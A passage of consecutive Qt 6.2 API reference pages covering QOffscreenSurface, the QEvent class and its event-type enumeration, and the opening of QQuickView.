|  QSurfaceFormat  | **[requestedFormat](qoffscreensurface#requestedFormat)**() const |
|  QScreen \* | **[screen](qoffscreensurface#screen)**() const |
|  void  | **[setFormat](qoffscreensurface#setFormat)**(const QSurfaceFormat &*format*) |
|  void  | **[setScreen](qoffscreensurface#setScreen)**(QScreen \**newScreen*) |

 Reimplemented Public Functions
------------------------------

 

|  |  |
| --- | --- |
|  virtual QSurfaceFormat  | **[format](qoffscreensurface#format)**() const override |
|  virtual QSize  | **[size](qoffscreensurface#size)**() const override |
|  virtual QSurface::SurfaceType  | **[surfaceType](qoffscreensurface#surfaceType)**() const override |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[screenChanged](qoffscreensurface#screenChanged)**(QScreen \**screen*) |

 Detailed Description
--------------------

 QOffscreenSurface is intended to be used with [QOpenGLContext](qopenglcontext) to allow rendering with OpenGL in an arbitrary thread without the need to create a [QWindow](qwindow).

 Even though the surface is typically renderable, the surface's pixels are not accessible. QOffscreenSurface should only be used to create OpenGL resources such as textures or framebuffer objects.

 An application will typically use QOffscreenSurface to perform some time-consuming tasks in a separate thread in order to avoid stalling the main rendering thread. Resources created in the QOffscreenSurface's context can be shared with the main OpenGL context. Some common use cases are asynchronous texture uploads or rendering into a [QOpenGLFramebufferObject](qopenglframebufferobject).

 How the offscreen surface is implemented depends on the underlying platform, but it will typically use a pixel buffer (pbuffer). If the platform doesn't implement or support offscreen surfaces, QOffscreenSurface will use an invisible [QWindow](qwindow) internally.

  **Note:** Due to the fact that QOffscreenSurface is backed by a [QWindow](qwindow) on some platforms, cross-platform applications must ensure that [create](qoffscreensurface#create)() is only called on the main (GUI) thread. The QOffscreenSurface is then safe to be used with [makeCurrent](qopenglcontext#makeCurrent)() on other threads, but the initialization and destruction must always happen on the main (GUI) thread.

   **Note:** In order to create an offscreen surface that is guaranteed to be compatible with a given context and window, make sure to set the format to the context's or the window's actual format, that is, the [QSurfaceFormat](qsurfaceformat) returned from [QOpenGLContext::format](qopenglcontext#format)() or [QWindow::format](qwindow#format)() *after the context or window has been created*. Passing the format returned from [QWindow::requestedFormat](qwindow#requestedFormat)() to [setFormat](qoffscreensurface#setFormat)() may result in an incompatible offscreen surface since the underlying windowing system interface may offer a different set of configurations for window and pbuffer surfaces.

   **Note:** Some platforms may utilize a surfaceless context extension (for example EGL\_KHR\_surfaceless\_context) when available. In this case there will be no underlying native surface. For the use cases of QOffscreenSurface (rendering to FBOs, texture upload) this is not a problem.

  Member Function Documentation
-----------------------------

 ### 
`[since 5.10]` QOffscreenSurface::QOffscreenSurface([QScreen](qscreen) \**targetScreen* = nullptr, [QObject](qobject#QObject) \**parent* = nullptr)

 Creates an offscreen surface for the *targetScreen* with the given *parent*.

 The underlying platform surface is not created until [create](qoffscreensurface#create)() is called.

 This function was introduced in Qt 5.10.

 **See also** [setScreen](qoffscreensurface#setScreen)() and [create](qoffscreensurface#create)().

 ### 
`[signal]` void QOffscreenSurface::screenChanged([QScreen](qscreen) \**screen*)

 This signal is emitted when an offscreen surface's *screen* changes, either by being set explicitly with [setScreen](qoffscreensurface#setScreen)(), or automatically when the window's screen is removed.

 ### 
`[virtual]` QOffscreenSurface::~QOffscreenSurface()

 Destroys the offscreen surface.

 ### 
void QOffscreenSurface::create()

 Allocates the platform resources associated with the offscreen surface.

 It is at this point that the surface format set using [setFormat](qoffscreensurface#setFormat)() gets resolved into an actual native surface.

 Call [destroy](qoffscreensurface#destroy)() to free the platform resources if necessary.

  **Note:** Some platforms require this function to be called on the main (GUI) thread.

  **See also** [destroy](qoffscreensurface#destroy)().

 ### 
void QOffscreenSurface::destroy()

 Releases the native platform resources associated with this offscreen surface.

 **See also** [create](qoffscreensurface#create)().

 ### 
`[override virtual]` [QSurfaceFormat](qsurfaceformat) QOffscreenSurface::format() const

 Reimplements: [QSurface::format() const](qsurface#format).

 Returns the actual format of this offscreen surface.

 After the offscreen surface has been created, this function will return the actual surface format of the surface. It might differ from the requested format if the requested format could not be fulfilled by the platform.

 **See also** [setFormat](qoffscreensurface#setFormat)(), [create](qoffscreensurface#create)(), and [requestedFormat](qoffscreensurface#requestedFormat)().

 ### 
bool QOffscreenSurface::isValid() const

 Returns `true` if this offscreen surface is valid; otherwise returns `false`.

 The offscreen surface is valid if the platform resources have been successfully allocated.

 **See also** [create](qoffscreensurface#create)().

 ### template <typename QNativeInterface> QNativeInterface \*QOffscreenSurface::nativeInterface() const

 Returns a native interface of the given type for the surface.

 This function provides access to platform specific functionality of QOffScreenSurface, as defined in the [QNativeInterface](qnativeinterface-sub-qtgui) namespace:

 

|  |  |
| --- | --- |
| [QNativeInterface::QAndroidOffscreenSurface](qnativeinterface-qandroidoffscreensurface) | Native interface to a offscreen surface on Android |

 If the requested interface is not available a `nullptr` is returned.

 ### 
[QSurfaceFormat](qsurfaceformat) QOffscreenSurface::requestedFormat() const

 Returns the requested surfaceformat of this offscreen surface.

 If the requested format was not supported by the platform implementation, the requestedFormat will differ from the actual offscreen surface format.

 This is the value set with [setFormat](qoffscreensurface#setFormat)().

 **See also** [setFormat](qoffscreensurface#setFormat)() and [format](qoffscreensurface#format)().

 ### 
[QScreen](qscreen) \*QOffscreenSurface::screen() const

 Returns the screen to which the offscreen surface is connected.

 **See also** [setScreen](qoffscreensurface#setScreen)().

 ### 
void QOffscreenSurface::setFormat(const [QSurfaceFormat](qsurfaceformat) &*format*)

 Sets the offscreen surface *format*.

 The surface format will be resolved in the [create](qoffscreensurface#create)() function. Calling this function after [create](qoffscreensurface#create)() will not re-resolve the surface format of the native surface.

 **See also** [format](qoffscreensurface#format)(), [create](qoffscreensurface#create)(), and [destroy](qoffscreensurface#destroy)().

 ### 
void QOffscreenSurface::setScreen([QScreen](qscreen) \**newScreen*)

 Sets the screen to which the offscreen surface is connected.

 If the offscreen surface has been created, it will be recreated on the *newScreen*.

 **See also** [screen](qoffscreensurface#screen)().

 ### 
`[override virtual]` [QSize](qsize) QOffscreenSurface::size() const

 Reimplements: [QSurface::size() const](qsurface#size).

 Returns the size of the offscreen surface.

 ### 
`[override virtual]` [QSurface::SurfaceType](qsurface#SurfaceType-enum) QOffscreenSurface::surfaceType() const

 Reimplements: [QSurface::surfaceType() const](qsurface#surfaceType).

 Returns the surface type of the offscreen surface.

 The surface type of an offscreen surface is always [QSurface::OpenGLSurface](qsurface#SurfaceType-enum).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qoffscreensurface.html>

QEvent Class
============

 The QEvent class is the base class of all event classes. Event objects contain event parameters. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QEvent> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |
|  Inherited By: | [QActionEvent](qactionevent), [QChildEvent](qchildevent), [QCloseEvent](qcloseevent), [QDragLeaveEvent](qdragleaveevent), [QDropEvent](qdropevent), [QDynamicPropertyChangeEvent](qdynamicpropertychangeevent), [QExposeEvent](qexposeevent), [QFileOpenEvent](qfileopenevent), [QFocusEvent](qfocusevent), [QGestureEvent](qgestureevent), [QGraphicsSceneEvent](qgraphicssceneevent), [QHelpEvent](qhelpevent), [QHideEvent](qhideevent), [QIconDragEvent](qicondragevent), [QInputEvent](qinputevent), [QInputMethodEvent](qinputmethodevent), [QInputMethodQueryEvent](qinputmethodqueryevent), [QMoveEvent](qmoveevent), [QPaintEvent](qpaintevent), [QPlatformSurfaceEvent](qplatformsurfaceevent), [QResizeEvent](qresizeevent), [QScrollEvent](qscrollevent), [QScrollPrepareEvent](qscrollprepareevent), [QShortcutEvent](qshortcutevent), [QShowEvent](qshowevent), [QStateMachine::SignalEvent](qstatemachine-signalevent), [QStateMachine::WrappedEvent](qstatemachine-wrappedevent), [QStatusTipEvent](qstatustipevent), [QTimerEvent](qtimerevent), [QWhatsThisClickedEvent](qwhatsthisclickedevent), and [QWindowStateChangeEvent](qwindowstatechangeevent) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qevent-members.html)

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[Type](qevent#Type-enum)** { None, ActionAdded, ActionChanged, ActionRemoved, ActivationChange, …, MaxUser } |

 Properties
----------

 * **[accepted](qevent#accepted-prop)** : bool

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QEvent](qevent#QEvent-2)**(QEvent::Type *type*) |
|  virtual  | **[~QEvent](qevent#dtor.QEvent)**() |
|  void  | **[accept](qevent#accept)**() |
|  virtual QEvent \* | **[clone](qevent#clone)**() const |
|  void  | **[ignore](qevent#ignore)**() |
|  bool  | **[isAccepted](qevent#accepted-prop)**() const |
|  bool  | **[isInputEvent](qevent#isInputEvent)**() const |
|  bool  | **[isPointerEvent](qevent#isPointerEvent)**() const |
|  bool  | **[isSinglePointEvent](qevent#isSinglePointEvent)**() const |
|  virtual void  | **[setAccepted](qevent#accepted-prop)**(bool *accepted*) |
|  bool  | **[spontaneous](qevent#spontaneous)**() const |
|  QEvent::Type  | **[type](qevent#type)**() const |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  int  | **[registerEventType](qevent#registerEventType)**(int *hint* = -1) |

 Detailed Description
--------------------

 Qt's main event loop ([QCoreApplication::exec](qcoreapplication#exec)()) fetches native window system events from the event queue, translates them into QEvents, and sends the translated events to [QObject](qobject)s.

 In general, events come from the underlying window system ([spontaneous](qevent#spontaneous)() returns `true`), but it is also possible to manually send events using [QCoreApplication::sendEvent](qcoreapplication#sendEvent)() and [QCoreApplication::postEvent](qcoreapplication#postEvent)() ([spontaneous](qevent#spontaneous)() returns `false`).

 [QObjects](qobject) receive events by having their [QObject::event](qobject#event)() function called. The function can be reimplemented in subclasses to customize event handling and add additional event types; [QWidget::event](qwidget#event)() is a notable example. By default, events are dispatched to event handlers like [QObject::timerEvent](qobject#timerEvent)() and [QWidget::mouseMoveEvent](qwidget#mouseMoveEvent)(). [QObject::installEventFilter](qobject#installEventFilter)() allows an object to intercept events destined for another object.

 The basic QEvent contains only an event type parameter and an "accept" flag. The accept flag set with [accept](qevent#accept)(), and cleared with [ignore](qevent#ignore)(). It is set by default, but don't rely on this as subclasses may choose to clear it in their constructor.

 Subclasses of QEvent contain additional parameters that describe the particular event.

 **See also** [QObject::event](qobject#event)(), [QObject::installEventFilter](qobject#installEventFilter)(), [QCoreApplication::sendEvent](qcoreapplication#sendEvent)(), [QCoreApplication::postEvent](qcoreapplication#postEvent)(), and [QCoreApplication::processEvents](qcoreapplication#processEvents)().

 Member Type Documentation
-------------------------

 ### enum QEvent::Type

 This enum type defines the valid event types in Qt. The event types and the specialized classes for each type are as follows:

 

| Constant | Value | Description |
| --- | --- | --- |
| `QEvent::None` | `0` | Not an event. |
| `QEvent::ActionAdded` | `114` | A new action has been added ([QActionEvent](qactionevent)). |
| `QEvent::ActionChanged` | `113` | An action has been changed ([QActionEvent](qactionevent)). |
| `QEvent::ActionRemoved` | `115` | An action has been removed ([QActionEvent](qactionevent)). |
| `QEvent::ActivationChange` | `99` | A widget's top-level window activation state has changed. |
| `QEvent::ApplicationActivate` | `121` | This enum has been deprecated. Use ApplicationStateChange instead. |
| `QEvent::ApplicationActivated` | `ApplicationActivate` | This enum has been deprecated. Use ApplicationStateChange instead. |
| `QEvent::ApplicationDeactivate` | `122` | This enum has been deprecated. Use ApplicationStateChange instead. |
| `QEvent::ApplicationFontChange` | `36` | The default application font has changed. |
| `QEvent::ApplicationLayoutDirectionChange` | `37` | The default application layout direction has changed. |
| `QEvent::ApplicationPaletteChange` | `38` | The default application palette has changed. |
| `QEvent::ApplicationStateChange` | `214` | The state of the application has changed. |
| `QEvent::ApplicationWindowIconChange` | `35` | The application's icon has changed. |
| `QEvent::ChildAdded` | `68` | An object gets a child ([QChildEvent](qchildevent)). |
| `QEvent::ChildPolished` | `69` | A widget child gets polished ([QChildEvent](qchildevent)). |
| `QEvent::ChildRemoved` | `71` | An object loses a child ([QChildEvent](qchildevent)). |
| `QEvent::Clipboard` | `40` | The clipboard contents have changed. |
| `QEvent::Close` | `19` | Widget was closed ([QCloseEvent](qcloseevent)). |
| `QEvent::CloseSoftwareInputPanel` | `200` | A widget wants to close the software input panel (SIP). |
| `QEvent::ContentsRectChange` | `178` | The margins of the widget's content rect changed. |
| `QEvent::ContextMenu` | `82` | Context popup menu ([QContextMenuEvent](qcontextmenuevent)). |
| `QEvent::CursorChange` | `183` | The widget's cursor has changed. |
| `QEvent::DeferredDelete` | `52` | The object will be deleted after it has cleaned up (QDeferredDeleteEvent) |
| `QEvent::DragEnter` | `60` | The cursor enters a widget during a drag and drop operation ([QDragEnterEvent](qdragenterevent)). |
| `QEvent::DragLeave` | `62` | The cursor leaves a widget during a drag and drop operation ([QDragLeaveEvent](qdragleaveevent)). |
| `QEvent::DragMove` | `61` | A drag and drop operation is in progress ([QDragMoveEvent](qdragmoveevent)). |
| `QEvent::Drop` | `63` | A drag and drop operation is completed ([QDropEvent](qdropevent)). |
| `QEvent::DynamicPropertyChange` | `170` | A dynamic property was added, changed, or removed from the object. |
| `QEvent::EnabledChange` | `98` | Widget's enabled state has changed. |
| `QEvent::Enter` | `10` | Mouse enters widget's boundaries ([QEnterEvent](qenterevent)). |
| `QEvent::EnterEditFocus` | `150` | An editor widget gains focus for editing. `QT_KEYPAD_NAVIGATION` must be defined. |
| `QEvent::EnterWhatsThisMode` | `124` | Send to toplevel widgets when the application enters "What's This?" mode. |
| `QEvent::Expose` | `206` | Sent to a window when its on-screen contents are invalidated and need to be flushed from the backing store. |
| `QEvent::FileOpen` | `116` | File open request ([QFileOpenEvent](qfileopenevent)). |
| `QEvent::FocusIn` | `8` | Widget or Window gains keyboard focus ([QFocusEvent](qfocusevent)). |
| `QEvent::FocusOut` | `9` | Widget or Window loses keyboard focus ([QFocusEvent](qfocusevent)). |
| `QEvent::FocusAboutToChange` | `23` | Widget or Window focus is about to change ([QFocusEvent](qfocusevent)) |
| `QEvent::FontChange` | `97` | Widget's font has changed. |
| `QEvent::Gesture` | `198` | A gesture was triggered ([QGestureEvent](qgestureevent)). |
| `QEvent::GestureOverride` | `202` | A gesture override was triggered ([QGestureEvent](qgestureevent)). |
| `QEvent::GrabKeyboard` | `188` | Item gains keyboard grab ([QGraphicsItem](qgraphicsitem) only). |
| `QEvent::GrabMouse` | `186` | Item gains mouse grab ([QGraphicsItem](qgraphicsitem) only). |
| `QEvent::GraphicsSceneContextMenu` | `159` | Context popup menu over a graphics scene ([QGraphicsSceneContextMenuEvent](qgraphicsscenecontextmenuevent)). |
| `QEvent::GraphicsSceneDragEnter` | `164` | The cursor enters a graphics scene during a drag and drop operation ([QGraphicsSceneDragDropEvent](qgraphicsscenedragdropevent)). |
| `QEvent::GraphicsSceneDragLeave` | `166` | The cursor leaves a graphics scene during a drag and drop operation ([QGraphicsSceneDragDropEvent](qgraphicsscenedragdropevent)). |
| `QEvent::GraphicsSceneDragMove` | `165` | A drag and drop operation is in progress over a scene ([QGraphicsSceneDragDropEvent](qgraphicsscenedragdropevent)). |
| `QEvent::GraphicsSceneDrop` | `167` | A drag and drop operation is completed over a scene ([QGraphicsSceneDragDropEvent](qgraphicsscenedragdropevent)). |
| `QEvent::GraphicsSceneHelp` | `163` | The user requests help for a graphics scene ([QHelpEvent](qhelpevent)). |
| `QEvent::GraphicsSceneHoverEnter` | `160` | The mouse cursor enters a hover item in a graphics scene ([QGraphicsSceneHoverEvent](qgraphicsscenehoverevent)). |
| `QEvent::GraphicsSceneHoverLeave` | `162` | The mouse cursor leaves a hover item in a graphics scene ([QGraphicsSceneHoverEvent](qgraphicsscenehoverevent)). |
| `QEvent::GraphicsSceneHoverMove` | `161` | The mouse cursor moves inside a hover item in a graphics scene ([QGraphicsSceneHoverEvent](qgraphicsscenehoverevent)). |
| `QEvent::GraphicsSceneMouseDoubleClick` | `158` | Mouse press again (double click) in a graphics scene ([QGraphicsSceneMouseEvent](qgraphicsscenemouseevent)). |
| `QEvent::GraphicsSceneMouseMove` | `155` | Move mouse in a graphics scene ([QGraphicsSceneMouseEvent](qgraphicsscenemouseevent)). |
| `QEvent::GraphicsSceneMousePress` | `156` | Mouse press in a graphics scene ([QGraphicsSceneMouseEvent](qgraphicsscenemouseevent)). |
| `QEvent::GraphicsSceneMouseRelease` | `157` | Mouse release in a graphics scene ([QGraphicsSceneMouseEvent](qgraphicsscenemouseevent)). |
| `QEvent::GraphicsSceneMove` | `182` | Widget was moved ([QGraphicsSceneMoveEvent](qgraphicsscenemoveevent)). |
| `QEvent::GraphicsSceneResize` | `181` | Widget was resized ([QGraphicsSceneResizeEvent](qgraphicssceneresizeevent)). |
| `QEvent::GraphicsSceneWheel` | `168` | Mouse wheel rolled in a graphics scene ([QGraphicsSceneWheelEvent](qgraphicsscenewheelevent)). |
| `QEvent::GraphicsSceneLeave` | `220` | The cursor leaves a graphics scene ([QGraphicsSceneWheelEvent](qgraphicsscenewheelevent)). |
| `QEvent::Hide` | `18` | Widget was hidden ([QHideEvent](qhideevent)). |
| `QEvent::HideToParent` | `27` | A child widget has been hidden. |
| `QEvent::HoverEnter` | `127` | The mouse cursor enters a hover widget ([QHoverEvent](qhoverevent)). |
| `QEvent::HoverLeave` | `128` | The mouse cursor leaves a hover widget ([QHoverEvent](qhoverevent)). |
| `QEvent::HoverMove` | `129` | The mouse cursor moves inside a hover widget ([QHoverEvent](qhoverevent)). |
| `QEvent::IconDrag` | `96` | The main icon of a window has been dragged away ([QIconDragEvent](qicondragevent)). |
| `QEvent::IconTextChange` | `101` | Widget's icon text has been changed. (Deprecated) |
| `QEvent::InputMethod` | `83` | An input method is being used ([QInputMethodEvent](qinputmethodevent)). |
| `QEvent::InputMethodQuery` | `207` | A input method query event ([QInputMethodQueryEvent](qinputmethodqueryevent)) |
| `QEvent::KeyboardLayoutChange` | `169` | The keyboard layout has changed. |
| `QEvent::KeyPress` | `6` | Key press ([QKeyEvent](qkeyevent)). |
| `QEvent::KeyRelease` | `7` | Key release ([QKeyEvent](qkeyevent)). |
| `QEvent::LanguageChange` | `89` | The application translation changed. |
| `QEvent::LayoutDirectionChange` | `90` | The direction of layouts changed. |
| `QEvent::LayoutRequest` | `76` | Widget layout needs to be redone. |
| `QEvent::Leave` | `11` | Mouse leaves widget's boundaries. |
| `QEvent::LeaveEditFocus` | `151` | An editor widget loses focus for editing. QT\_KEYPAD\_NAVIGATION must be defined. |
| `QEvent::LeaveWhatsThisMode` | `125` | Send to toplevel widgets when the application leaves "What's This?" mode. |
| `QEvent::LocaleChange` | `88` | The system locale has changed. |
| `QEvent::NonClientAreaMouseButtonDblClick` | `176` | A mouse double click occurred outside the client area ([QMouseEvent](qmouseevent)). |
| `QEvent::NonClientAreaMouseButtonPress` | `174` | A mouse button press occurred outside the client area ([QMouseEvent](qmouseevent)). |
| `QEvent::NonClientAreaMouseButtonRelease` | `175` | A mouse button release occurred outside the client area ([QMouseEvent](qmouseevent)). |
| `QEvent::NonClientAreaMouseMove` | `173` | A mouse move occurred outside the client area ([QMouseEvent](qmouseevent)). |
| `QEvent::MacSizeChange` | `177` | The user changed his widget sizes (macOS only). |
| `QEvent::MetaCall` | `43` | An asynchronous method invocation via [QMetaObject::invokeMethod](qmetaobject#invokeMethod)(). |
| `QEvent::ModifiedChange` | `102` | Widgets modification state has been changed. |
| `QEvent::MouseButtonDblClick` | `4` | Mouse press again ([QMouseEvent](qmouseevent)). |
| `QEvent::MouseButtonPress` | `2` | Mouse press ([QMouseEvent](qmouseevent)). |
| `QEvent::MouseButtonRelease` | `3` | Mouse release ([QMouseEvent](qmouseevent)). |
| `QEvent::MouseMove` | `5` | Mouse move ([QMouseEvent](qmouseevent)). |
| `QEvent::MouseTrackingChange` | `109` | The mouse tracking state has changed. |
| `QEvent::Move` | `13` | Widget's position changed ([QMoveEvent](qmoveevent)). |
| `QEvent::NativeGesture` | `197` | The system has detected a gesture ([QNativeGestureEvent](qnativegestureevent)). |
| `QEvent::OrientationChange` | `208` | The screens orientation has changes (QScreenOrientationChangeEvent). |
| `QEvent::Paint` | `12` | Screen update necessary ([QPaintEvent](qpaintevent)). |
| `QEvent::PaletteChange` | `39` | Palette of the widget changed. |
| `QEvent::ParentAboutToChange` | `131` | The widget parent is about to change. |
| `QEvent::ParentChange` | `21` | The widget parent has changed. |
| `QEvent::PlatformPanel` | `212` | A platform specific panel has been requested. |
| `QEvent::PlatformSurface` | `217` | A native platform surface has been created or is about to be destroyed ([QPlatformSurfaceEvent](qplatformsurfaceevent)). |
| `QEvent::Polish` | `75` | The widget is polished. |
| `QEvent::PolishRequest` | `74` | The widget should be polished. |
| `QEvent::QueryWhatsThis` | `123` | The widget should accept the event if it has "What's This?" help ([QHelpEvent](qhelpevent)). |
| `QEvent::ReadOnlyChange` | `106` | Widget's read-only state has changed (since Qt 5.4). |
| `QEvent::RequestSoftwareInputPanel` | `199` | A widget wants to open a software input panel (SIP). |
| `QEvent::Resize` | `14` | Widget's size changed ([QResizeEvent](qresizeevent)). |
| `QEvent::ScrollPrepare` | `204` | The object needs to fill in its geometry information ([QScrollPrepareEvent](qscrollprepareevent)). |
| `QEvent::Scroll` | `205` | The object needs to scroll to the supplied position ([QScrollEvent](qscrollevent)). |
| `QEvent::Shortcut` | `117` | Key press in child for shortcut key handling ([QShortcutEvent](qshortcutevent)). |
| `QEvent::ShortcutOverride` | `51` | Key press in child, for overriding shortcut key handling ([QKeyEvent](qkeyevent)). When a shortcut is about to trigger, `ShortcutOverride` is sent to the active window. This allows clients (e.g. widgets) to signal that they will handle the shortcut themselves, by accepting the event. If the shortcut override is accepted, the event is delivered as a normal key press to the focus widget. Otherwise, it triggers the shortcut action, if one exists. |
| `QEvent::Show` | `17` | Widget was shown on screen ([QShowEvent](qshowevent)). |
| `QEvent::ShowToParent` | `26` | A child widget has been shown. |
| `QEvent::SockAct` | `50` | Socket activated, used to implement [QSocketNotifier](qsocketnotifier). |
| `QEvent::StateMachineSignal` | `192` | A signal delivered to a state machine ([QStateMachine::SignalEvent](qstatemachine-signalevent)). |
| `QEvent::StateMachineWrapped` | `193` | The event is a wrapper for, i.e., contains, another event ([QStateMachine::WrappedEvent](qstatemachine-wrappedevent)). |
| `QEvent::StatusTip` | `112` | A status tip is requested ([QStatusTipEvent](qstatustipevent)). |
| `QEvent::StyleChange` | `100` | Widget's style has been changed. |
| `QEvent::TabletMove` | `87` | Wacom tablet move ([QTabletEvent](qtabletevent)). |
| `QEvent::TabletPress` | `92` | Wacom tablet press ([QTabletEvent](qtabletevent)). |
| `QEvent::TabletRelease` | `93` | Wacom tablet release ([QTabletEvent](qtabletevent)). |
| `QEvent::TabletEnterProximity` | `171` | Wacom tablet enter proximity event ([QTabletEvent](qtabletevent)), sent to [QApplication](qapplication). |
| `QEvent::TabletLeaveProximity` | `172` | Wacom tablet leave proximity event ([QTabletEvent](qtabletevent)), sent to [QApplication](qapplication). |
| `QEvent::TabletTrackingChange` | `219` | The Wacom tablet tracking state has changed (since Qt 5.9). |
| `QEvent::ThreadChange` | `22` | The object is moved to another thread. This is the last event sent to this object in the previous thread. See [QObject::moveToThread](qobject#moveToThread)(). |
| `QEvent::Timer` | `1` | Regular timer events ([QTimerEvent](qtimerevent)). |
| `QEvent::ToolBarChange` | `120` | The toolbar button is toggled on macOS. |
| `QEvent::ToolTip` | `110` | A tooltip was requested ([QHelpEvent](qhelpevent)). |
| `QEvent::ToolTipChange` | `184` | The widget's tooltip has changed. |
| `QEvent::TouchBegin` | `194` | Beginning of a sequence of touch-screen or track-pad events ([QTouchEvent](qtouchevent)). |
| `QEvent::TouchCancel` | `209` | Cancellation of touch-event sequence ([QTouchEvent](qtouchevent)). |
| `QEvent::TouchEnd` | `196` | End of touch-event sequence ([QTouchEvent](qtouchevent)). |
| `QEvent::TouchUpdate` | `195` | Touch-screen event ([QTouchEvent](qtouchevent)). |
| `QEvent::UngrabKeyboard` | `189` | Item loses keyboard grab ([QGraphicsItem](qgraphicsitem) only). |
| `QEvent::UngrabMouse` | `187` | Item loses mouse grab ([QGraphicsItem](qgraphicsitem), [QQuickItem](qquickitem)). |
| `QEvent::UpdateLater` | `78` | The widget should be queued to be repainted at a later time. |
| `QEvent::UpdateRequest` | `77` | The widget should be repainted. |
| `QEvent::WhatsThis` | `111` | The widget should reveal "What's This?" help ([QHelpEvent](qhelpevent)). |
| `QEvent::WhatsThisClicked` | `118` | A link in a widget's "What's This?" help was clicked. |
| `QEvent::Wheel` | `31` | Mouse wheel rolled ([QWheelEvent](qwheelevent)). |
| `QEvent::WinEventAct` | `132` | A Windows-specific activation event has occurred. |
| `QEvent::WindowActivate` | `24` | Window was activated. |
| `QEvent::WindowBlocked` | `103` | The window is blocked by a modal dialog. |
| `QEvent::WindowDeactivate` | `25` | Window was deactivated. |
| `QEvent::WindowIconChange` | `34` | The window's icon has changed. |
| `QEvent::WindowStateChange` | `105` | The [window's state](qwindow#windowState) (minimized, maximized or full-screen) has changed ([QWindowStateChangeEvent](qwindowstatechangeevent)). |
| `QEvent::WindowTitleChange` | `33` | The window title has changed. |
| `QEvent::WindowUnblocked` | `104` | The window is unblocked after a modal dialog exited. |
| `QEvent::WinIdChange` | `203` | The window system identifier for this native widget has changed. |
| `QEvent::ZOrderChange` | `126` | The widget's z-order has changed. This event is never sent to top level windows. |

 User events should have values between `User` and `MaxUser`:

 

| Constant | Value | Description |
| --- | --- | --- |
| `QEvent::User` | `1000` | User-defined event. |
| `QEvent::MaxUser` | `65535` | Last user event ID. |

 For convenience, you can use the [registerEventType](qevent#registerEventType)() function to register and reserve a custom event type for your application. Doing so will allow you to avoid accidentally re-using a custom event type already in use elsewhere in your application.

  Property Documentation
----------------------

 ### 
accepted : bool

 This property holds the accept flag of the event object.

 Setting the accept parameter indicates that the event receiver wants the event. Unwanted events might be propagated to the parent widget. By default, isAccepted() is set to true, but don't rely on this as subclasses may choose to clear it in their constructor.

 For convenience, the accept flag can also be set with [accept](qevent#accept)(), and cleared with [ignore](qevent#ignore)().

  **Note:** Accepting a [QPointerEvent](qpointerevent) implicitly [accepts](qeventpoint#accepted-prop) all the [points](qpointerevent#points) that the event carries.

  **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **isAccepted**() const |
|  virtual void  | **setAccepted**(bool *accepted*) |

  Member Function Documentation
-----------------------------

 ### QEvent::QEvent([QEvent::Type](qevent#Type-enum) *type*)

 Constructs an event object of type *type*.

 ### 
`[virtual]` QEvent::~QEvent()

 Destroys the event. If it was [posted](qcoreapplication#postEvent), it will be removed from the list of events to be posted.

 ### 
void QEvent::accept()

 Sets the accept flag of the event object, the equivalent of calling [setAccepted](qevent#accepted-prop)(true).

 Setting the accept parameter indicates that the event receiver wants the event. Unwanted events might be propagated to the parent widget.

 **See also** [ignore](qevent#ignore)().

 ### 
`[virtual, since 6.0]` QEvent \*QEvent::clone() const

 Creates and returns an identical copy of this event.

 This function was introduced in Qt 6.0.

 ### 
void QEvent::ignore()

 Clears the accept flag parameter of the event object, the equivalent of calling [setAccepted](qevent#accepted-prop)(false).

 Clearing the accept parameter indicates that the event receiver does not want the event. Unwanted events might be propagated to the parent widget.

 **See also** [accept](qevent#accept)().

 ### 
`[since 6.0]` bool QEvent::isInputEvent() const

 Returns `true` if the event object is a [QInputEvent](qinputevent) or one of its subclasses.

 This function was introduced in Qt 6.0.

 ### 
`[since 6.0]` bool QEvent::isPointerEvent() const

 Returns `true` if the event object is a [QPointerEvent](qpointerevent) or one of its subclasses.

 This function was introduced in Qt 6.0.

 ### 
`[since 6.0]` bool QEvent::isSinglePointEvent() const

 Returns `true` if the event object is a subclass of [QSinglePointEvent](qsinglepointevent).

 This function was introduced in Qt 6.0.

 ### 
`[static]` int QEvent::registerEventType(int *hint* = -1)

 Registers and returns a custom event type. The *hint* provided will be used if it is available, otherwise it will return a value between [QEvent::User](qevent#Type-enum) and [QEvent::MaxUser](qevent#Type-enum) that has not yet been registered. The *hint* is ignored if its value is not between [QEvent::User](qevent#Type-enum) and [QEvent::MaxUser](qevent#Type-enum).

 Returns -1 if all available values are already taken or the program is shutting down.

 **Note:** This function is [thread-safe](threads-reentrancy).

 ### 
bool QEvent::spontaneous() const

 Returns `true` if the event originated outside the application (a system event); otherwise returns `false`.

 ### 
[QEvent::Type](qevent#Type-enum) QEvent::type() const

 Returns the event type.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qevent.html>

QQuickView Class
================

 The QQuickView class provides a window for displaying a Qt Quick user interface. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QQuickView> |
|  CMake: |  find\_package(Qt6 COMPONENTS Quick REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Quick) |
|  qmake: |  QT += quick |
|  Since: |  Qt 5.0 |
|  Inherits: | [QQuickWindow](qquickwindow) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qquickview-members.html)

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[ResizeMode](qquickview#ResizeMode-enum)** { SizeViewToRootObject, SizeRootObjectToView } |
|  enum  | **[Status](qquickview#Status-enum)** { Null, Ready, Loading, Error } |

 Properties
----------

 * **[resizeMode](qquickview#resizeMode-prop)** : ResizeMode
* **[source](qquickview#source-prop)** : QUrl
* **[status](qquickview#status-prop)** : const Status

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QQuickView](qquickview#QQuickView-2)**(const QUrl &*source*, QWindow \**parent* = nullptr) |
|  | **[QQuickView](qquickview#QQuickView-1)**(QQmlEngine \**engine*, QWindow \**parent*) |
